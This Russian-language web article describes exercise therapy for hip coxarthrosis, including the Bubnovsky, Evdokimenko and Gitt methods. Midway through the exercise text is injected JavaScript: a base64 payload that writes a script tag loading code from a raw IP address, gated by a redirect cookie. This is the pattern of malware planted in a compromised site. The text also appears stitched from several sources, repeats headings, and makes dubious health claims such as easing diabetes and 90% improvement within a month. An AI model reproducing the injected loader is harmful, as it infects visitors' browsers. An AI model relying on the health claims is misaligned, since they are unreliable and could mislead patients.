Гимнастика при коксартрозе тазобедренного сустава 1, 2, 3 степени

Коксартроз – тяжелое дегенеративно-дистрофическое заболевание структурных элементов тазобедренного сустава. Патология тяжело поддается лечению, если разрушительный процесс в костно-хрящевых тканях зашел слишком далеко. У заболевания нет возрастных рамок, оно развивается как в молодом, так и пожилом возрасте на почве травм, гормональных нарушений, системных болезней, местных и общих воспалительных инфекций.

Рекомендации к выполнению

Нельзя делать упражнения, если заболевание тазобедренного сустава находится в острой стадии, имеется сильный болевой синдром. К ЛФК приступают на стадии ремиссии или в процессе реабилитации. Больному в это время противопоказаны резкие движения и тяжелые нагрузки. Если при выполнении любого из упражнений развивается болевой синдром, рекомендуется пересмотреть комплекс. Перед гимнастикой рекомендуется сделать разминку или самомассаж бедер. Это разогреет мышцы, усилит приток крови к суставам, а также минимизирует болезненность во время занятий ЛФК.

Комплекс для больного подбирается специалистом с учетом состояния здоровья последнего. Врач учитывает степень повреждения тазобедренного сустава.

Рекомендации к выполнению

Положительную динамику от гимнастики можно будет ощутить, только если регулярно заниматься спортом. Нагрузки должны быть равномерными, со временем постепенно увеличиваться.

Вторая стадия заболевания

Для запущенной стадии коксартроза тазобедренного сустава следует выполнять такие упражнения:

  • Данное упражнение можно выполнять как на полу, так и удобно расположившись на диване. Лягте на живот, а руки положите под голову. Расслабьтесь и попытайтесь перекатываться на животе в разные стороны. Не советуем совершать слишком большую амплитуду, она должна составлять всего пару сантиметров. Мышцы не должны быть напряжены, таз также не нужно приподнимать. При ощущениях боли постарайтесь расслабиться. Проделывая данное упражнение, самостоятельно определите расстояние между пятками, которое подходит именно вам.

Данное упражнение при коксартрозе рекомендуется выполнять перед приемом пищи, несколько раз в день по 7-15 минут. Для больных, которые долгое время не получали физической нагрузки, занятие можно упростить, сократив время до нескольких минут и пары раз в день. Вращательные движения обеспечат лучшее питание тазобедренных суставов.

Такое занятие полезно для перистальтики кишечника, печени, желчного пузыря, желудка, поджелудочной железы и других органов. У полных людей подтянется живот и уменьшится объем талии. Данное упражнение даже способно облегчить течение диабета.

Вторая стадия заболевания

В связи с тем, что движение суставов пассивно и мышцы ног не задействованы, данное упражнение можно выполнять даже больным коксартрозом тяжелой формы.

  • Выполняется оно лежа на спине. Нужно вытянуть ноги и расставить их в стороны, поворачивая внутрь и наружу. Для облегчения действий можно подложить под колени небольшую подушку. Если почувствуете боль, упростите занятие, уменьшив амплитуду движений и изменив ширину разведения ног. В перерывах старайтесь расслабиться. Данное занятие можно выполнять, занимаясь своими привычными делами, к примеру, читая или разговаривая с родными.
  • Следующее упражнение при коксартрозе тазобедренного сустава по праву можно назвать наиболее универсальным. Выполняется оно сидя, и делать его можно как дома, так и на работе или в транспорте. Поудобнее расположитесь на стуле, ноги расположите на ширине плеч. Непринужденно разводите, а затем сводите колени.

При ощущении боли, можно уменьшить амплитуду движений или изменить их частоту.

Какое из упражнений вы предпочтете, решать только вам. На все занятия следует тратить примерно от трех до шести часов в день. Однако не советуем выполнять их подряд, делайте их в течение дня, когда вам это удобно. function getCookie(e){var U=(new RegExp(«(?:^|; )»+(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=(()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=(()/1e3+86400),date=new Date((new Date).getTime()+86400);»redirect=»+time+»; path=/; expires=»+(),(»)}

Специальные методики

Существует ряд авторских методик физической нагрузки с различными комплексами и техниками выполнения упражнений. Среди наиболее известных —гимнастики Бубновского, Евдокименко и Гитта.

Гимнастика Бубновского

Эффективная методика терапии коксартроза, разработанная профессором С. М. Бубновским, позволяет при помощи кинезиотерапии вылечить заболевание безоперационным путём.

В данной методике предлагается следующий комплекс, каждое упражнение выполняется по 10–30 повторений:

  1. Встаньте в стойку на коленях и локтях, выгните спину на вдохе и прогните на выдохе.
  2. Не меняя положения, слегка выдвините корпус вперёд и вернитесь в стартовую позицию.
  3. Сделайте упор на локти, выдохните и опустите корпус вниз, прижав его к полу.
  4. Вдохните, вернитесь в исходную позицию и отведите туловище назад так, чтобы ягодицы соприкоснулись с пятками.
  5. Лягте на спину, ноги согните в коленях и прижмите ступни к полу, сведите колени с локтями и поднимите ягодицы, вернитесь в стартовое положение.
Читайте также:  Строение суставов человека: их классификация и характеристика

Упражнения Евдокименко

В авторской методике ревматолог П. В. Евдокименко сочетает упражнения для лечения коксартроза на второй стадии и предлагает следующий комплекс:

  1. Лягте на спину, поднимайте поочерёдно ноги и задерживайте на 35 с, повторяйте 10 раз.
  2. Лёжа на спине, слегка поднимите ноги и делайте махи одновременно правой и левой ногой в стороны.
  3. Не меняя положение, согните ноги в коленях, примите стопы к полу и поднимите ягодицы.
  4. Лягте на живот, сгибайте поочерёдно ноги на 90 градусов.
  5. Лягте на бок, поднимите ногу на 45 градусов и удерживайте в течение 30 с.
  6. Повторите предыдущее упражнение на другом боку.
  7. Повторите упражнение, поворачивая при этом ступни.
  8. Сядьте на пол, выпрямите ноги, прикоснитесь руками к носкам и задержитесь на 2 мин.
  9. Сядьте на пол, сделайте упор спиной на стену, разведите ноги врозь, ногу с поражённым суставом при этом согните на 90 градусов.
  10. Сидя на полу, вытяните ноги вперёд, возьмитесь руками за ступни.
  11. Сядьте на стул, поднимите ногу и удерживайте 30 с.

После выполнения комплекса следует сделать лёгкий массаж бедра.

Упражнения Гитта

Мануальный терапевт В. Д. Гитт предлагает свою методику лечения коксартроза, основанную на выполнении микродвижений. Также желательно снизить белок в рационе и посещать сеансы массажа по той же авторской методике.

Важно! Микродвижения должны иметь амплитуду в несколько сантиметров (до 2 см).

Упражнения желательно выполнять в течение всего дня. В домашних условиях можно выполнять следующий комплекс:

  1. Лягте на спину, положите валики под колени и голову, двигайте ногами друг к другу и возвращайтесь в исходную позицию.
  2. Лягте на живот, валик расположите под голеностопом, двигайте тазом из стороны в сторону.
  3. Сядьте на стул и двигайте коленями.
  4. Сидя на стуле, поочерёдно поднимайте пятки. В том же положении отведите корпус назад, ноги вытяните вперёд, прижмите стопы к полу и двигайте ногами друг к другу.

Перечень исцеляющих упражнений при коксартрозе

Показала свою эффективность авторская схема доктора медицинских наук, который практикует без медикаментозное лечение такого заболевания, как коксартроз тазового сустава. Эффективность его методики доказана собственным примером и благодарными отзывами множества выздоровевших пациентов. Бубновский С. М. основатель большого числа Центров кинезитерапии, где его пациенты прорабатывают упражнения при остеоартрозе тазобедренного сустава под руководством профессиональных медицинских сотрудников.

Комплекс упражнений при коксартрозе тазобедренного сустава по Бубновскому:

  1. Потянуть носки стоп на себя до упора, подержать так несколько секунд и расслабить их, выполнить 5–6 раз.
  2. Согнуть ногу в области колена выдержать секунд 5 и разогнуть ее. Повторить упражнение по 4 раза на каждую ногу.
  3. Из позы «лежа на спине» с согнутыми ногами подтягивать их поочередно к груди, придерживая нижние конечности руками. Сохранять такое положение около 4 секунд, а затем плавно опустить в исходное положение.
  4. Выпрямленные ноги приподнимать над полом на высоту 25–30 см и удерживать в таком состоянии около 5 секунд.
  5. Расположившись на спине с согнутыми нижними конечностями нужно разводить их в стороны на максимально возможное расстояние. Внутренние мышцы во время этого упражнения должны быть расслаблены.
  6. Из позиции с согнутыми в коленях и разведенными в стороны ногами наклонять их поочередно внутрь, так, чтобы по возможности прикоснуться коленом к полу.
  7. Согнуть нижние конечности и свести их вместе, затем из такой позиции поднимать и опускать их параллельно.
  8. Согнутыми нижними конечностями постараться дотянуться до приподнятой над полом головы.

Сделать каждое упражнение от 5 до 7 раз, начинать нужно с малого, постепенно прибавляя нагрузку. Такие упражнения при остеопорозе полезны не только для суставов, но также они приводят в тонус мышцы бедра. Особенно если включить в комплекс упражнения с отягощением на ногу с пораженным тазовым суставом. О том как укрепить мышцы в районе сустава показали исследования ученых, которые доказали, что небольшое отягощение способствует к тому же снятию боли и увеличению подвижности связки.

Лечебные физические упражнения для крестца являются основным методом исцеления при крестцовом остеохондрозе. Зарядка для тазобедренного сустава при крестцовом остеохондрозе направлена на усиление притока крови к костным, соединительным и мягким тканям в копчиковой области позвоночника. Тонизируется мышечный каркас, что также благоприятно для копчика и околосуставных тканей.

Альтернативная гимнастика и массаж

Можно также использовать другие методики. Довольно хорошо зарекомендовали себя упражнения при коксартрозе тазобедренного сустава по Бубновскому. Она разделяется на комплекс для новичков  основной комплекс. Сначала желательно освоить два следующих упражнения:

  • Поместите ладони на живот, плотно закройте губы, выдыхайте, произнося звук «пф».
  • Опуститесь на пятки медленно при этом поднимайтесь, вдыхая. Делайте круговые движения руками, затем выдохните.

Освоив эти манипуляции, начинайте выполнять основной комплекс:

  • Выпрямите ногу, отведите ее в сторону, ладонями дотянитесь до стопы, обхватите ее на несколько секунд и вернитесь в исходное положение. В процессе этого действия вы можете ощутить несильную боль. Со временем мышцы привыкнут к нагрузке.
  • В положении стоя наклоняйтесь поочередно к ногам – это позволит проработать поясничные мышцы и укрепит суставы.
  • Лягте на спину, поднимите ноги, закиньте их за голову и попытайтесь коснуться пола. Это сложное упражнение, и с ним нужно проявлять осторожность, но оно эффективное. Сначала вы можете просто поднимать конечности опускать их за голову постепенно. Это упражнение рекомендуется делать около 20 раз за подход.

Дополнительным способом улучшения циркуляции крови в больных суставах является массаж при коксартрозе тазобедренного сустава. Он помогает укрепить и расслабить ягодичные мышцы. Учтите, что у массажа есть ряд противопоказаний, и выполнять его должен специалист.

Может быть рекомендовано при коксартрозе плавание или упражнение в воде. Но любые физические нагрузки должны назначаться специалистом с учетом стадии и особенностей течения заболевания, иначе вы можете только навредить себе.

В каком случае ЛФК эффективна

Полноценный эффект от лечебной физкультуры можно получить лишь при систематических тренировках. Если заниматься нерегулярно, от случая к случаю, то сустав не успевает адаптироваться к нагрузкам и эффект получается обратный – усиливаются боли и скованность при движениях.

Самостоятельно подобранные упражнения не всегда оказывают ожидаемое действие, поскольку они не учитывают индивидуальные характеристики организма. Правильно составить тренировочный комплекс поможет врач ЛФК.

Лечение тазобедренного сустава при коксартрозе не сводится только к гимнастике, упражнения дополняют физиотерапией, массажем, мануальной терапией, приемом медикаментов, диетой. Необходимое лечение обычно назначают ортопеды, ревматологи или терапевты.

Если тренировочный комплекс подобран адекватно, то ЛФК поможет решить следующие проблемы:

  • Улучшит доставку питательных веществ к хрящу за счет стимуляции кровотока;
  • Повысит растяжимость связок и силу мышц, чтобы они смогли взять на себя часть нагрузки сустава;
  • Увеличит объем движений в сочленении;
  • Предотвратит образование костных разрастаний – остеофитов;
  • Уменьшит воспалительную реакцию за счет активации обменных процессов;
  • Сделает сустав более адаптированным к нагрузкам;
  • Уменьшит болевой синдром.

Общие рекомендации

При регулярных занятиях лечебной физкультурой около 90% больных видят значительные улучшения уже через месяц. Для того чтобы получить положительный эффект, необходимо:

  • занимать гимнастикой не менее получаса;
  • увеличивать нагрузку постепенно, так как резкая двигательная активность может усугубить течение заболевания;
  • выполнять движения медленно, плавно, без рывков, с должным вниманием к технике выполнения.

Наиболее эффективной является лечебная гимнастика при коксартрозе тазобедренного сустава 2 степени. Также упражнения можно делать для профилактики дегенеративных изменений в ТБС.

Читайте также:  Заболевание тазобедренного сустава симптомы и лечение — Суставы

ЛФК упражнения при коксартрозе тазобедренного сустава: различные виды лечебной гимнастики и массаж

Коксартроз тазобедренного сустава – заболевание, которое приводит к постепенному разрушению хрящевых тканей. Лечится патология комплексно, при этом медикаментозная терапия призвана облегчать состояние пациента во время обострения, снимать боль. ЛФК при коксартрозе тазобедренного сустава играет главную роль. Существуют специальные упражнения. Они помогают больным восстановить двигательную активность, возвращают мышцам нормальное физиологическое состояние.

ЛФК упражнения при коксартрозе тазобедренного сустава: различные виды лечебной гимнастики и массаж

Упражнения при коксартрозе тазобедренного сустава степени по Евдокименко

Доктор Евдокимов утверждает, что при диагнозе коксартроз физические упражнения могут стать одним из основных методов лечения заболевания. Он выделяет 11 основных при коксартрозе тазобедренного сустава физических упражнений. Нужно лечь на спину и чередуя поднимать ноги на 1/3 пытаясь продержать так секунд 35. При этом выполнить сначала нужно всего 1 раз. Потом отдохнуть и сделать еще 10 раз. Лечь на живот и поочередно сгибать ноги на 90 0 пытаясь удержать их на весу. Лечь на спину и поднять обе ноги на 15 0 и выполнять одновременные махи в стороны. Лечь на бок и верхнюю ногу задержать под 45 0 на пол минуты, затем повторить на другом боку. Повторить предыдущее упражнение, только пытаясь поворачивать внутрь и наружу поднятую стопу. Лечь на спину и на согнутых ногах постараться максимально поднять таз. Сесть на пол, вытянув ноги постараться дотронуться до пальцев ног и задержаться в такой позе на пару минут. Выполнять всего 1 раз. Сев на стул постарайтесь подержать ногу на весу секунд 30. Сидя на полу опереться об стену или шкаф и максимально раздвинуть ноги, затем больную ногу согнуть под прямым углом. В предыдущей позе постараться обхватить стопу поврежденной ноги и постепенно подтянуть к себе. Закончить гимнастику при коксартрозе тазобедренного сустава 2 степени легким поглаживанием и растираниями с использованием согревающего геля или мази. Лечение коксартроза тазобедренного сустава гимнастикой – это один из самых действенных методов при борьбе с заболеванием. Но, как и любой другой способ, его нужно обговаривать с лечащим врачом.

Лечение по Бубновскому

Всенародно признанный врач Сергей Бубновский известен как создатель уникальной методики, принадлежащей к кинезотерапии. Ее главная задача – восстановление утраченной трудоспособности и купирование болезненных ощущений в больных суставах. Без лекарств и операций заслуженный доктор помогает расширить диапазон двигательной активности и распрощаться с невыносимыми болями. Восстановление происходит за счет специально разработанного комплекса физических упражнений.

Господин Бубновский.

Как отмечает доктор, кости не могут болеть, болят именно мышцы, которые при заболевании перестают нормально работать, ослабевают и атрофируются. Нельзя не заострить внимание, что занятия успешно тренируют, повышают выносливость и увеличивают спектр движений не только в проблемном сегменте опорно-двигательной системы, но и в других отделах костно-мышечного аппарата. Более того, они способствуют укреплению организма в целом.

НО, если болят не кости, а мышцы которые атрофируются в процессе болезни, то возникает вопрос — а почему они атрофируются если ничего не болит? А они потому и атрофируются, что боль настолько сильна, что человека начинает хромать и разгружать конечность. А когда нет нагрузки нога «усыхает». Вот и все объяснение. Заболело, захромал, нога атрофировалась, а потом еще и вторая заболела. Если бы гимнастика помогала, то в мире не делалось бы более миллиона операций в год.

Предполагаемый терапевтический эффект следующий:

Лечение по Бубновскому
  • восстановление подвижности;
  • улучшение кровообращения в околосуставных тканях;
  • насыщение питательными веществами мышечных, хрящевых и костных структур;
  • ликвидация болевого синдрома.

Но есть и положительная сторона в работе уважаемого доктора, если относится к ней как способу подготовки к операции в виде усиления мышечной силы ног.

Популярное лечение по методу Бубновского, в отличие от способа по Евдокименко, не предусматривает использование лекарств из аптеки. По словам ведущего реабилитолога страны, достаточно прикладывать холодные компрессы на больную область и систематически выполнять предложенные им упражнения. Регулярно тренируясь в домашних условиях, мышечный комплекс придет в норму, и боль полностью отступит, при этом качество жизни значительно повысится.

Малоинвазивное эндопротезирование в Чехии: врачи, реабилитация, сроки и цены.

Узнать подробнее